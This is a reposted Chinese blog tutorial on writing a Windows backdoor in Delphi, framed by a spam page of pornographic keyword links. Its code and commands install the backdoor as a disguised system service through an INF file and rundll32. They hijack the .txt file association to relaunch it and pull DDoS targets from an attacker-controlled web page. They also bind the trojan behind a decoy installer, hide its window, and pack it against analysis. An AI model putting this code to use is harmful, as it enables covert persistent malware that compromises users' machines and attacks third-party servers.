亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

關于開發系統后門軟件的幾點思路

2019-11-18 18:03:30
字體:
來源:轉載
供稿:網友
 

關于開發系統后門軟件的幾點思路
作者:Delphiscn(cnBlaster#sohu.com)
http://blog.csdn.net/Delphiscn
注釋:這只是一篇臨時的學習筆記

目錄
1、前言
2、系統加載
3、文件關聯
4、攻擊控制
5、文件隱匿
6、附言

前言
現在的系統后門軟件數不勝數,但大都有一個通病,就是系統加載方面很容易被精明的老鳥們察覺。而且遇上類似“天網”或是“金山網鏢”的網絡防火墻基本上就沒戲了。前些天在網上看到了一篇名叫《Do all in cmd shell》的文章,里面關于程序加載的方式比較巧妙,對基于NT的2000/XP這樣的系統基本上已經可以做到通用了。在此我用Delphi,并模仿一些經典后門軟件的功能寫一個Backdoor,希望與各位高手共同交流編程經驗,也算是復習一下以前學習的知識:)

系統加載
讀到這里,估計很多朋友會立即聯想到HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和Win.ini中的Load。沒錯,不過從實戰角度出發,現在再用這樣的啟動方式已經有點落后了。而且如果你的程序實現的功能很多,但如果在啟動方面出了問題,不是一件很郁悶的事嗎?在此,根據 《Do all in cmd shell》作者的思路,我們可以自己寫一個inf文件,利用這個文件配置一個系統服務程序。這樣,我們的后門就可以在不知不覺中,隨系統服務一起啟動了。(不過此方案有一個局限性:只適用于NT/2000/XP)這里引用作者的原文:

現在,讓我們用inf來添加一個系統服務
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%/inetsvr.exe
保存為inetsvr.inf,然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf(在這里我對原文做了點修改)
[注:%systemroot%是個環境變量,假設你的系統文件夾是C:/Windows,那么%systemroot%的路徑就是C:/Windows(一般為98或是XP)假設你的系統文件夾為C:/winnt,那么%systemroot%的路徑則為C:/winnt(一般為2K)]
這個例子增加一個名為inetsvr的服務(是不是很像系統自帶的服務,呵呵)。
幾點說明:
1,最后四項分別是
服務類型:0x10為獨立進程服務,0x20為共享進程服務(比如svchost);
啟動類型:0 系統引導時加載,1 OS初始化時加載,2 由SCM(服務控制管理器)自動啟
動,3 手動啟動,4 禁用。
(注意,0和1只能用于驅動程序)
錯誤控制:0 忽略,1 繼續并警告,2 切換到LastKnownGood的設置,3 藍屏。
服務程序位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%
12%為驅動目錄system32/drivers。其他取值參見DDK。你也可以不用變量,直接使用全路
徑。
這四項是必須要有的。
2,除例子中的六個項目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹
了。
3,inetsvr后面有兩個逗號,因為中間省略了一個不常用的參數flags。
刪除一個服務:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很簡單,不是嗎?

下面的步驟就是要在Delphi中調用這個inf安裝服務。我們可以使用shellExecute這個函數,具體用法為
shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf'),nil,nil,sw_shownormal);
我覺得這里的sw_shownormal有點不是很好,因為在這個參數下。cmd shell的窗口是可見的,不知道你們有沒有什么好的辦法?但是,我覺得shellExecute函數有一個好處-------如果應用程序找不到inf,在電腦屏幕上不會有任何的反映。簡單的說,就是不會報錯:)當然,如果你不放心那也可以使用GetWindowsDirectory函數對inf文件進行絕對定位,不過在這里我覺得好象沒有這個必要。
疑惑:在這里我們的共享類型ServiceType=0x10屬于獨立進程服務。估計這個病毒要訪問Internet時會遭到防火墻的攔截。但是象類似svchost、lsass這樣的共享進程服務卻不會,如果我們把ServiceType的值改為0x20我想情況會有所改觀,不過在這里我沒有深入研究。

文件關聯
按照慣例,我們可以對txt文本關聯進行修改,將注冊表中的鍵值指向我們的后門程序。下面這段代碼可以做到這一點:)
var
  Backdoor: TRegistry;
  FileExt:String;
  FileType:String;
  FileDescription:String;
  ExecName:String;
  WinDir:String;
begin
  FileExt:='.txt';
  FileType:='文本文檔';
  FileDescription:='文本文檔';

  SetLength(WinDir,128);//獲取Windows目錄
  GetWindowsDirectory(PChar(WinDir),128);
  SetLength(WinDir,StrLen(PChar(WinDir)));
  ExecName:=WinDir+'/system32/inetsvr.exe';//這里的inetsvr.exe是我們的病毒程序

  Backdoor:=TRegistry.Create;//創建注冊表對象
  try
    Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注冊表根鍵
    if not Backdoor.OpenKey(FileExt, True) then Exit; //當在注冊表中創建文件類型失敗時退出,一般是注冊表錯誤
    Backdoor.WriteString('',FileType);//寫文件類型數據
    Backdoor.CloseKey;

    if not Backdoor.OpenKey(FileType,True) then//打開文件類型FileType關鍵字
      Exit;
    Backdoor.WriteString('',FileDescription);//寫文件描述數據
    if not Backdoor.OpenKey('shell/open/command', True) then//打開子鍵
       Exit;
    Backdoor.WriteString('',ExecName);
    Backdoor.CloseKey;//關閉關鍵字
   finally
    Backdoor.Free;//釋放注冊表對象
   end;
end;
這樣,只要用戶雙擊txt文件,我們的inetsvr.exe就會又跟著啟動了。

攻擊控制
前些日子在網上看到了一篇關于用bat批處理文件控制病毒程序攻擊他人網站的一個例子。由于我對他的那個實例還沒有完全搞清楚,不過我們可以使用其他辦法來代替bat。下面我們來實現這個過程:
首先,可以申請一個主頁空間(假設為
http://www.attack.com/delphiscn)。上傳一個ipaddress.txt的文檔。內容為192.168.0.1
這里的192.168.0.1為我們要攻擊的網站地址。
在Delphi中添加如下語句:
var ipaddress:integer;
NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
這樣,我們的程序就得到了要攻擊的網站地址IPaddress,而且這個IPAddress可由我們自己控制:)
接下來就是論到攻擊了,我們可以在程序中加入一段代碼。向192.168.0.1不停的發送數據包。造成遠程服務器拒絕響應,也就是經常提到的DDOS。當然你也可以用類似Ping這樣的方法,由于比較簡單,這里就不再細述了。

文件隱匿
如果你設計的程序功能比較強大,也許不止一個可執行文件,而且我們又不能象其他共享軟件那樣做安裝程序。其中最簡單的方法就是用copy/b setup.exe+run.exe set.exe這條命令把需要運行的程序加載在前一個可執行程序的后面,setup.exe文件的職責有兩個,其一是顯示假象讓別人不知道這是一個木馬安裝程序,其二就是真實的目的從指定字長定位將木馬服務程序截取下來并運行安裝,由于木馬服務部分采用了“隱形”技術,所以根本不會被察覺,代碼部分就是定位拷貝,這里不在細述。還有一種方法是在資源文件RES中預先裝入木馬,并以數據形式存于當前可執行文件中,在合適的時機釋放即可。下面這段代碼可用于從RES中釋放指定的文件:
PRocedure runvirus(from:pchar;Fileto:String);
var
   tempdir:string;
   Buf:pointer;
   size:longint;
   h,ResHandle:Cardinal;
   zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
   tempdir:='';
      reshandle:=FindResource(h,Makeintresource(1),'DAT');
  buf:=Pointer(loadresource(h,reshandle));
   size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir+fileto);
    rewrite(zip,1);
try
    blockwrite(zip,buf^,size)
finally
       closefile(zip);
  end;
end;
資源文件test.rc制作如下:
* 內容:   1    DAT      "test.exe"
* 制作:    BRCC32 test.rc
* 在資源文件中加入:
   {$R *.DFM}
   //加入test.RES,如果不加這一行,當木馬釋放文件時會找不著資源而報錯,一定要注意這個問題:)
   {$R test.RES}
* 函數調用:
   if not Fileexists('test.exe') then runvirus('DAT','test.exe');
另外,附上幾個比較常用的小技巧:
任務管理器中的隱形:
我們可以使用清除標題的方法:
program Project1;
uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
  begin
//此處設置標題的清除
Appilcation.Title:='';
application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具欄上的隱形:
通過使用SetWindowLong函數即可:
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重復運行:
在制作利用端口進行服務的同時,經常要防止程序的重復執行,因為同一份拷貝在運行時會使用相同的IP地址和相同的端口,必然會產生沖突。所以,為了防止程序二次執行。我們可以在程序啟動事件里加入如下代碼:
假設我們的程序標題為Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in 'Neverland.pas' {Form1};
{$R *.RES}
var
  hMutex:HWND;
  Ret:Integer;
Begin
  Application.Initialize;
  Application.Title:='Neverland';
  hMutex:=CreateMutex(nil,False,'Neverland');
  Ret:=GetLastError;
  IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
   Application.CreateForm(TForm1, Form1);
Application.Run;
  End
Else
  ReleaseMutex(hMutex);
end.

附言
通過上述改進,一個系統后門程序就已經初具雛形了。當然,如果您有興趣,還可以對其功能進行擴充。最后,千萬別忘了用ACPack對它加殼哦,這樣會增加他人反匯編的困難。如果您有什么好的思路或方法,歡迎與大家一起討論:)    

參考
《Do all in cmd shell》
 
http://www.hackeronline.cn/showart.asp?art_id=476&cat_id=7


上一篇:一個很實用的Ehlib排序函數,適合ADO

下一篇:實現QQ窗體的縮入伸出功能

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
學習交流
熱門圖片

新聞熱點

疑難解答

圖片精選

網友關注

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
91久久嫩草影院一区二区| 国产精品91久久久久久| 97国产一区二区精品久久呦| 91网站在线免费观看| 懂色aⅴ精品一区二区三区蜜月| 国产精品久久久久77777| 日韩hd视频在线观看| 久久影视电视剧免费网站| 欧美日韩国产第一页| 色诱女教师一区二区三区| 国产一区二区三区在线观看网站| 久久天天躁狠狠躁老女人| 中文字幕欧美亚洲| 欧美大尺度在线观看| 一区二区三区四区视频| 久久久久久国产精品久久| 国产91久久婷婷一区二区| 亚洲第一区中文99精品| 日本成人激情视频| 欧美午夜无遮挡| 欧美国产日韩在线| 欧美精品日韩www.p站| 久久综合伊人77777尤物| 动漫精品一区二区| 日韩在线视频免费观看高清中文| 亚洲精品欧美一区二区三区| 国产精品久久中文| 日韩中文在线中文网在线观看| 91精品一区二区| 国产精品999999| 亚洲人成网站777色婷婷| 亚洲新声在线观看| 91福利视频在线观看| 国产欧美亚洲精品| 久久久在线免费观看| 最近2019中文免费高清视频观看www99| 国语自产精品视频在线看抢先版图片| 亚洲午夜av久久乱码| 色爱精品视频一区| 91高清视频在线免费观看| 中文字幕亚洲欧美日韩2019| 国产精品视频内| 欧美在线视频网站| 成人高清视频观看www| 亚洲国产成人在线视频| 在线国产精品视频| 日本一区二三区好的精华液| 亚洲国产中文字幕在线观看| 精品美女久久久久久免费| 精品成人国产在线观看男人呻吟| 欧美在线观看一区二区三区| 国产91精品久久久久久| 亚洲国产精品久久91精品| 日韩av成人在线观看| 国产不卡av在线免费观看| 九九久久综合网站| 日韩欧美在线一区| 精品亚洲一区二区三区在线观看| 亚洲精品自产拍| 亚洲欧美日韩精品久久亚洲区| 欧美风情在线观看| 国产成一区二区| 国产精品96久久久久久| 欧美成人h版在线观看| 欧美一级电影久久| 亚州av一区二区| 国产日韩在线免费| 久久99久国产精品黄毛片入口| 中文字幕一区二区三区电影| 992tv成人免费视频| 国产成人啪精品视频免费网| 亚洲a∨日韩av高清在线观看| 成人久久18免费网站图片| 欧美成人亚洲成人| 成人天堂噜噜噜| 国产一区二区久久精品| 91精品国产乱码久久久久久久久| 97国产真实伦对白精彩视频8| 一色桃子一区二区| 日韩视频在线免费观看| 欧美极品欧美精品欧美视频| 中文字幕视频一区二区在线有码| 国产一区二区三区在线观看视频| 91在线视频导航| 美女av一区二区| 亚洲网站在线播放| 欧美丰满片xxx777| 欧美亚洲国产视频小说| 日韩精品视频在线播放| 久久躁狠狠躁夜夜爽| 国产精品美女午夜av| 欧美大片免费看| 国产黑人绿帽在线第一区| 欧美日韩国产精品一区二区三区四区| 亚洲第一页在线| 精品福利视频导航| 日韩av影片在线观看| 国产精品91在线观看| 97久久精品视频| 亚洲欧美在线x视频| 亚洲成人在线视频播放| 亚洲国产精品久久精品怡红院| 国产91精品视频在线观看| 欧美专区在线视频| 国产午夜精品视频免费不卡69堂| 欧美孕妇毛茸茸xxxx| 精品偷拍一区二区三区在线看| 日韩中文字幕亚洲| 亚洲午夜色婷婷在线| 久久成人国产精品| 91精品国产91久久久久久最新| 国内精品视频一区| 欧美综合国产精品久久丁香| 国产视频999| 91精品久久久久久久久久久久久久| 日韩在线视频二区| 久久久综合免费视频| 国产日本欧美一区| 久久视频中文字幕| 日韩精品在线影院| 久久免费视频网| 欧美日韩国产中字| 久久全球大尺度高清视频| 国产精品一区二区在线| 精品久久久久久中文字幕一区奶水| 亚洲国产私拍精品国模在线观看| 国产精品91久久| 91欧美日韩一区| 成人av在线天堂| 一区二区三区回区在观看免费视频| 美女视频黄免费的亚洲男人天堂| 欧美性色视频在线| 97国产一区二区精品久久呦| 日韩美女激情视频| 亚洲成人在线网| 欧美日韩亚洲一区二区| 亚洲а∨天堂久久精品9966| 欧美日韩一区二区精品| 亚洲成人精品视频| 欧美诱惑福利视频| 91精品国产九九九久久久亚洲| 亚洲片国产一区一级在线观看| 色噜噜久久综合伊人一本| 狠狠干狠狠久久| 在线观看91久久久久久| 久久手机精品视频| 一区二区国产精品视频| 国产福利视频一区二区| 欧美激情视频三区| 久久久999精品视频| 91干在线观看| 亚洲精品动漫久久久久| 日韩欧美高清视频| 国产视频精品va久久久久久| 亚洲午夜精品久久久久久性色| 日韩欧美精品在线观看| 91精品视频专区| 91在线色戒在线| 中文字幕少妇一区二区三区| 日韩美女视频免费在线观看| 国产一区私人高清影院| 成人免费观看a| 亚洲大尺度美女在线| 欧美理论电影在线播放|